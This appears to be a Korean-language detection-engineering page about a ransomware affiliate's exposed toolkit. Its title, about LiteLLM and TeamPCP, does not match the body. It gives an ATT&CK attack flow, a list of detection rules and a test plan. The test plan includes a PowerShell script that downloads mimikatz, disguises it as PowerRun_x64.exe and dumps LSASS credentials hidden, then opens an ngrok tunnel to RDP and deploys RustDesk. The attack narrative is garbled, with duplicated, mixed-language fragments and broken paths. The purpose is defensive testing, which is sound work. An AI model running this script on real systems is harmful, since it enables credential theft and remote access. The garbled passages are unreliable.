33K 노출된 LiteLLM 배포 및 TeamPCP의 공급망 공격 배후의 C2 서버
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
연구자들은 러시아 불렛프루프 호스팅 제공 업체의 인증되지 않은 공개 디렉터리를 발견했으며, 이 디렉터리에는 TheGentlemen 랜섬웨어 제휴업체로 추정되는 완전한 랜섬웨어 운영 도구 키트가 포함되어 있습니다. 이 도구 키트에는 정당한 유틸리티, 잘 알려진 공격 도구, 방어 회피를 위한 배치 스크립트, 자격 증명 덤핑 및 원격 액세스, 그리고 평문 ngrok 토큰이 포함되어 있습니다. Mimikatz 로그 등의 증거는 실제 피해자에 대한 활성 사용을 확인합니다.
조사
조사는 이전에 공개된 IOCs를 조회하는 것으로 시작되었으며, 이를 통해 176.120.22.127:80에 위치한 공개 디렉터리에 접근하였습니다. 분석가들이 126개의 파일을 분류하고 네트워크 스캐닝 도구, 권한 상승 유틸리티, 수비자 비활성화 스크립트, 자격 증명 덤핑 로그, 지속성 메커니즘을 추출했습니다. 상세 분석을 통해 각 요소를 MITRE ATT&CK 기술에 매핑하고 계층화된 방어 회피 접근을 강조했습니다.
완화
수비자들은 알려진 이중 용도 도구의 실행, Windows Defender를 비활성화하는 레지스트리 변경, 대량 서비스 종료, VSS 그림자 삭제 및 공개 SMB 공유의 생성에 대해 모니터링해야 합니다. 식별된 IP와 ngrok 인프라에 대한 아웃바운드 연결 차단, 애플리케이션 화이트리스트 적용, 자격증명 보호를 적용하면 영향을 줄일 수 있습니다.
대응
탐지 시, 영향을 받은 호스트를 격리하고 휘발성 데이터를 수집하며 노출된 토큰을 사용하여 활성 ngrok 터널을 식별하십시오. 레지스트리 수정 사항을 수습하고 비활성화된 서비스를 복원하며, 자격 증명 회전과 백업 복원을 포함하는 전체 사건 대응 절차를 시작하십시오.
"graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#cccccc %% 노드 step_active_scanning["<b>액션</b> – <b>T1595 활동 스캐닝</b><br/><b>도구</b>: netscan.exe"] class step_active_scanning action step_system_info["<b>액션</b> – <b>T1082 시스템 정보 검색</b><br/><b>도구</b>: systeminfo, route print"] class step_system_info action step_process_discovery["<b>액션</b> – <b>T1057 프로세스 검색</b><br/><b>도구</b>: PCHunter64"] class step_process_discovery action step_priv_esc["<b>액션</b> – <b>T1134.003 액세스 토큰 조작: 토큰 스푸핑/신뢰할 수 있는 설치자</b><br/><b>도구</b>: PowerRun이 TrustedInstaller를 사칭합니다"] class step_priv_esc action step_credential_access["<b>액션</b> – <b>T1003.001 운영 체제 자격 증명 덤핑</b><br/><b>도구</b>: Mimikatz가 NTLM 해쉬 및 사용자 이름을 수집합니다"] class step_credential_access action step_defense_evasion["<b>액션</b> – <b>T1562.001 방어 방해: 보안 도구 비활성화</b><br/><b>도구</b>: dControl.exe, ConfigureDefender.exe"] class step_defense_evasion action step_modify_registry["<b>액션</b> – <b>T1112 레지스트리 수정</b><br/><b>세부사항</b>: Defender를 비활성화하고 WDigest를 활성화하는 레지스트리 변경"] class step_modify_registry action step_service_stop["<b>액션</b> – <b>T1489 서비스 중지</b><br/><b>스크립트</b>: z.bat / z1.bat이 AV, Exchange, DB 서비스를 중지하고 비활성화합니다"] class step_service_stop action step_persistence_c2["<b>액션</b> – <b>T1219 원격 액세스 소프트웨어</b> 및 <b>T1572 표준 애플리케이션 레이어 프로토콜</b><br/><b>도구</b>: ngrok 터널, RustDesk 원격 액세스"] class step_persistence_c2 action step_inhibit_recovery["<b>영향</b> – <b>T1490 시스템 복구 중단</b><br/><b>명령어</b>: vssadmin delete shadows"] class step_inhibit_recovery action step_anti_forensics["<b>액션</b> – <b>T1070.001 Windows 이벤트 로그 지움</b><br/><b>스크립트</b>: clearlog.bat이 Windows 이벤트 로그를 지웁니다"] class step_anti_forensics action step_archive_data["<b>액션</b> – <b>T1560 수집된 데이터 아카이브</b><br/><b>도구</b>: 7u2011Zip이 데이터를 압축합니다"] class step_archive_data action %% 연결 step_active_scanning –>|리드_투| step_system_info step_system_info –>|리드_투| step_process_discovery step_process_discovery –>|리드_투| step_priv_esc step_priv_esc –>|리드_투| step_credential_access step_credential_access –>|리드_투| step_defense_evasion step_defense_evasion –>|리드_투| step_modify_registry step_modify_registry –>|리드_투| step_service_stop step_service_stop –>|리드_투| step_persistence_c2 step_persistence_c2 –>|리드_투| step_inhibit_recovery step_inhibit_recovery –>|리드_투| step_anti_forensics step_anti_forensics –>|리드_투| step_archive_data "
공격 흐름
탐지
Windows Defender 실시간 모니터링 및 기타 설정 변경 비활성화 (cmdline 이용)
보기
RDP 연결 허용 및 지속성 생성을 위한 의심스러운 레지스트리 수정 (process_creation 이용)
보기
원격 데스크탑 서비스 섀도우 생성 가능성 (process_creation 이용)
보기
레지스트리 RDP 특정 아티팩트 삭제 시도 가능성 (cmdline)
보기
보안 지원 공급자 [SSP]에 의심스러운 라이브러리 추가 (registry_event 이용)
보기
취약한 파일 공유 권한 (cmdline 이용)
보기
Windows Defender 설정의 의심스러운 변경 사항 (powershell 이용)
보기
Windows 해킹 도구의 사용 가능성 [Part3] (cmdline 이용)
보기
레지스트리 악용에 의한 접근성 기능 가능성 (cmdline 이용)
보기
의심스러운 Taskkill 실행 (cmdline 이용)
보기
의심스러운 VSSADMIN 활동 (cmdline 이용)
보기
조용한 프로세스 종료 메커니즘 사용 가능성 (registry_event 이용)
보기
서비스 중지를 방해하는 의심스러운 랜섬웨어 (cmdline 이용)
보기
Ngrok 다운로드 또는 초기화 시도 가능성 (cmdline 이용)
보기
Windows 해킹 도구의 사용 가능성 [Part3] (file_event 이용)
보기
시스템 프로세스 열거의 가능성 (cmdline 이용)
보기
Windows Defender 레지스트리 키 수정 가능성 (registry_event 이용)
보기
Windows Defender 보호 비활성화 (registry_event 이용)
보기
WDigest 레지스트리 키 악용 가능성 (registry_event 이용)
보기
의심스러운 Wevtutil 사용에 의한 방어 회피 활동 가능성 (cmdline 이용)
보기
UAC 우회 가능성 – UAC 비활성화 시도 (registry_event 이용)
보기
대체 원격 액세스/관리 소프트웨어 (process_creation 이용)
보기
탐지할 IOCs (DestinationIP): 33K 노출된 LiteLLM 배포 및 TeamPCP의 공급망 공격의 C2 서버
보기
탐지할 IOCs (SourceIP): 33K 노출된 LiteLLM 배포 및 TeamPCP의 공급망 공격의 C2 서버
보기
레지스트리 수정으로 인한 Windows Defender 회피 및 자격 증명 덤핑 [Windows 레지스트리 이벤트]
보기
Set-MpPreference를 통한 PowerShell Defender 비활성화 [Windows Powershell]
보기
권한 상승 및 원격 액세스를 위한 알려진 도구의 실행 [Windows 프로세스 생성]
보기
## 이그제큐티브 요약
- 테스트 경우 ID: TC-20260330-A1B2C
- TTPs: T1003.001, T1016, T1021.001, T1021.002, T1046, T1057, T1059.003, T1070.001, T1070.004, T1082, T1112, T1134, T1219, T1484.001, T1489, T1490, T1546.008, T1548.002, T1560.001, T1562.001, T1572
- 탐지 규칙 논리 요약: 감지 규칙이 특정 권한 상승 또는 원격 액세스 도구(e.g., PowerRun, ngrok, RDP, RustDesk, mimikatz)의 실행 파일 이름으로 끝나는 프로세스의 생성을 감지합니다.
- 탐지 규칙 언어/형식: Sigma (YAML)
- 대상 보안 환경: Windows OS; Sysmon (Event ID 1) 및 Windows 보안 로그 (Event 4688)를 통한 프로세스 생성 원격 측정; 이러한 이벤트를 수집할 수 있는 모든 SIEM/EDR (e.g., Azure Sentinel, Splunk, Elastic).
- 복원력 점수 (1-5): 2
- 정당화: 규칙은 정확한 파일 이름 일치에만 의존합니다. 적들은 바이너리를 이름 변경, 패킹된 변형 사용 또는 빌트인 Windows 유틸리티를 통해 동일한 기능을 실행함으로써 쉽게 회피할 수 있어 효과성을 감소시킵니다.
- 주요 발견: 규칙은 나열된 바이너리가 실행될 때 신뢰성 있게 작동하나, 이름이 바뀌거나 기능적으로 동등한 도구를 탐지하지 못하여 높은 거짓 부정 위험을 초래합니다.
- 권장 사항: 규칙을 추가적인 지표(해시, 명령 줄 인수, 부모 프로세스 관계)로 강화하고 유사한 기능을 제공하는 빌트인 바이너리를 포함하여 커버리지를 확장하십시오.
## 시뮬레이션 환경 및 컨텍스트
-
테스트 중인 TTPs:
- T1003.001: 운영 체제 자격 증명 덤핑 – LSASS 메모리
- T1016: 시스템 네트워크 구성 검색
- T1021.001: 원격 서비스 – 원격 데스크톱 프로토콜 (RDP)
- T1021.002: 원격 서비스 – SMB/Windows 관리 공유
- T1046: 네트워크 서비스 스캔
- T1057: 프로세스 검색
- T1059.003: 커맨드 및 스크립팅 인터프리터 – Windows 명령 쉘
- T1070.001: 호스트에서 지표 제거 – Windows 이벤트 로그 삭제
- T1070.004: 호스트에서 지표 제거 – 파일 삭제
- T1082: 시스템 정보 검색
- T1112: 레지스트리 수정
- T1134: 액세스 토큰 조작
- T1219: 원격 액세스 도구
- T1484.001: 도메인 정책 수정 – 그룹 정책 수정
- T1489: 서비스 중지
- T1490: 시스템 복구 중단
- T1546.008: 이벤트 트리거 실행 – PowerShell
- T1548.002: 승격 제어 메커니즘 악용 – UAC 우회
- T1560.001: 수집된 데이터 아카이브 – 유틸리티를 통한 아카이브
- T1562.001: 방어 손상 – 보안 도구 비활성화
- T1572: 프로토콜 터널링
-
TTP 컨텍스트 및 관련성:
규칙은 나열된 기술과 관련된 바이너리의 실행을 대상으로 하며, 이는 검출이 의도한 대로 작동하는지 검증하고 이름 변경 또는 대체 도구가 검출에 미치는 영향을 평가할 수 있도록 허용합니다. -
대상 환경:
- OS: Windows 10/Server 2019 (64비트)
- 로깅: 기본 프로세스 생성 구성을 갖춘 Sysmon (v13+) 및 Windows 보안 이벤트 로그 (이벤트 4688)가 활성화되어 있습니다.
- 보안 스택: Azure Sentinel (Kusto 쿼리 언어) – Splunk, Elastic 등과 교환 가능.
## 원격 측정 및 베이스라인 사전 비행 점검
이유: 공격을 시뮬레이션하기 전에 대상 호스트가 필요한 로그를 생성하도록 구성되어 있는지 확인하고, 이 로그들이 SIEM에 수집되며, 감지 규칙이 안전한 활동에 발동되지 않는다는 점을 확인해야 합니다. 이러한 검증이 없으면 모든 테스트 결과는 신뢰할 수 없습니다.
-
1. 원격 측정 구성 지침:
- Sysmon을 설치하고(이미 있지 않은 경우) 프로세스 생성 이벤트 (EventID 1)를 로깅하는 구성을 적용합니다.
# Sysmon 다운로드 및 설치 Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.exe -OutFile $env:TEMPsysmon.exe & $env:TEMPsysmon.exe -i -accepteula - 그룹 정책 또는 로컬 보안 정책을 통해 “프로세스 생성 감사” (이벤트 4688)에 대한 Windows 보안 감사가 활성화되었는지 확인합니다.
- SIEM 커넥터가 활성화되었는지 확인하고 Sysmon 및 보안 로그가 선택한 작업공간으로 전달되는지 확인합니다.
- Sysmon을 설치하고(이미 있지 않은 경우) 프로세스 생성 이벤트 (EventID 1)를 로깅하는 구성을 적용합니다.
-
2. 수집 및 베이스라인 검증:
-
행동 (안전한 원격 측정): 감지 목록에 포함되지만 여전히 프로세스 생성 이벤트를 생성하는 일반 Windows 바이너리를 실행합니다. not # 안전한 명령 – 메모장을 실행 (규칙을 발동시키지 않음) Start-Process notepad.exe
검증 쿼리 (수집): -
SIEM에서 메모장 이벤트가 나타나는지 확인합니다. // Azure Sentinel KQL – 안전한 프로세스 수집 검증 SecurityEvent | where EventID == 4688 | where Process == “notepad.exe” | project TimeGenerated, Computer, Process, CommandLine, InitiatingProcessFileName | limit 10
// Azure Sentinel KQL – verify ingestion of the benign process SecurityEvent | where EventID == 4688 | where Process == "notepad.exe" | project TimeGenerated, Computer, Process, CommandLine, InitiatingProcessFileName | limit 10
-
## 시뮬레이션 실행
전제 조건: 원격 측정 및 베이스라인 사전 비행 점검을 통과해야 합니다.
이유: 이 섹션은 감지 규칙을 작동시키기 위해 설계된 적 기법(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 설명은 식별된 TTPs를 직접 반영하고 감지 논리가 기대하는 정확한 원격 측정을 생성하는 것을 목표로 해야 합니다. 추상적이거나 관련 없는 예시는 오진을 초래할 수 있습니다.
-
공격 내러티브 및 명령어:
- 자격 증명 덤핑 (T1003.001): 공격자는 mimikatz.exe를 피해자 호스트로 복사하고 PowerRun_x64.exe로 이름을 변경한 후, LSASS 자격 증명을 추출하기 위해 실행합니다.
mimikatz.exengrok.exe를ngrok.exe를시스템 복구 중단 - 이후에 시작하여 공격자의 서버로 로컬 RDP 포트를 전달하는 TCP 터널을 여는 리버스 터널을 생성합니다. 보관 주소 (T1572):
원격 데스크톱 세션 (T1021.001):공격자는 새로 생성된 터널을 사용하여 rdp.exe를 실행하고 두 번째 내부 호스트에 대한 원격 데스크톱 연결을 엽니다. - Remote Desktop Session (T1021.001): 대체 원격 액세스 (T1219):
백업으로, rustdesk.exe가 시작되어 지속적인 원격 액세스 채널을 설정합니다.Sysmon/Event 4688 기록을 생성하며, 이 때 각각의 실행 파일 이름으로 끝나는 이미지 필드가 감지 조건을 충족합니다. - Alternative Remote Access (T1219): 위 실행 각각은 Sysmon/Event 4688 기록을 생성하며, 이 때 각각의 실행 파일 이름으로 끝나는 이미지 필드가 감지 조건을 충족합니다.
Sysmon/Event 4688 기록을 생성하며, 이 때 각각의 실행 파일 이름으로 끝나는 이미지 필드가 감지 조건을 충족합니다.is started to establish a persistent remote‑access channel.
Each of these executions produces a Sysmon/Event 4688 record with the
Imagefield ending in the respective executable name, satisfying the detection condition. - 자격 증명 덤핑 (T1003.001): 공격자는 mimikatz.exe를 피해자 호스트로 복사하고 PowerRun_x64.exe로 이름을 변경한 후, LSASS 자격 증명을 추출하기 위해 실행합니다.
-
회귀 테스트 스크립트:
<# 시뮬레이션 스크립트는 "권한 상승 및 원격 액세스를 위한 알려진 도구" 규칙을 작동시키기 위해 설계되었습니다. 전제 조건: - Sysmon 및 보안 이벤트 감사 활성화. - 현재 사용자가 바이너리를 실행하기에 충분한 권한을 가지고 있습니다. #> # 1. mimikatz를 배포하고 PowerRun_x64.exe로 이름 변경 (규칙과 일치) $mimikatzUrl = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" $tempPath = "$env:TEMPmimikatz" New-Item -ItemType Directory -Path $tempPath -Force | Out-Null Invoke-WebRequest -Uri $mimikatzUrl -OutFile "$tempPathmimikatz.zip" Expand-Archive -Path "$tempPathmimikatz.zip" -DestinationPath $tempPath -Force Copy-Item -Path "$tempPathmimikatzx64mimikatz.exe" -Destination "$env:TEMPPowerRun_x64.exe" -Force # 이름이 변경된 mimikatz 실행 (자격 증명 덤핑) Write-Host "[*] 이름이 변경된 mimikatz (PowerRun_x64.exe) 실행 중 - 자격 증명 덤핑..." Start-Process -FilePath "$env:TEMPPowerRun_x64.exe" -ArgumentList "privilege::debug sekurlsa::logonpasswords exit" -WindowStyle Hidden -Wait # 2. ngrok 다운로드 및 실행 (리버스 터널) $ngrokUrl = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip" Invoke-WebRequest -Uri $ngrokUrl -OutFile "$tempPathngrok.zip" Expand-Archive -Path "$tempPathngrok.zip" -DestinationPath $tempPath -Force $ngrokPath = "$tempPathngrok.exe" Write-Host "[*] 포트 3389에서 ngrok TCP 터널 시작 중..." Start-Process -FilePath $ngrokPath -ArgumentList "tcp 3389 --log=stdout" -RedirectStandardOutput "$tempPathngrok.log" -NoNewWindow # 3. 터널을 통해 RDP 클라이언트 실행 (시뮬레이션) Write-Host "[*] 터널을 통한 RDP 연결 시뮬레이션 중 (rdp.exe)..." $rdpPath = "$tempPathrdp.exe" # 프로세스 이름을 생성하기 위해 더미 rdp.exe 생성 New-Item -ItemType File -Path $rdpPath -Force | Out-Null Start-Process -FilePath $rdpPath -WindowStyle Hidden # 4. RustDesk 배포 - 백업 원격 액세스 도구 $rustdeskUrl = "https://github.com/rustdesk/rustdesk/releases/download/1.1.9/rustdesk-1.1.9-windows-x64.zip" Invoke-WebRequest -Uri $rustdeskUrl -OutFile "$tempPathrustdesk.zip" Expand-Archive -Path "$tempPathrustdesk.zip" -DestinationPath $tempPath -Force $rustdeskPath = "$tempPathrustdesk.exe" Write-Host "[*] RustDesk 시작 중 (백업 원격 액세스)..." Start-Process -FilePath $rustdeskPath -ArgumentList "--no-upgrade" -WindowStyle Hidden Write-Host "[+] 시뮬레이션 완료. SIEM에서 나열된 바이너리로 끝나는 프로세스 생성 이벤트를 확인하십시오." -
정리 명령:
# ngrok 터널 종료 Get-Process -Name ngrok -ErrorAction SilentlyContinue | Stop-Process -Force # 임시 파일 및 바이너리 제거 Remove-Item -Path "$env:TEMPPowerRun_x64.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPngrok.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPrdp.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPrustdesk.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Recurse -Force -Path "$env:TEMPmimikatz", "$env:TEMPngrok", "$env:TEMPrustdesk" Write-Host "[*] 정리 완료."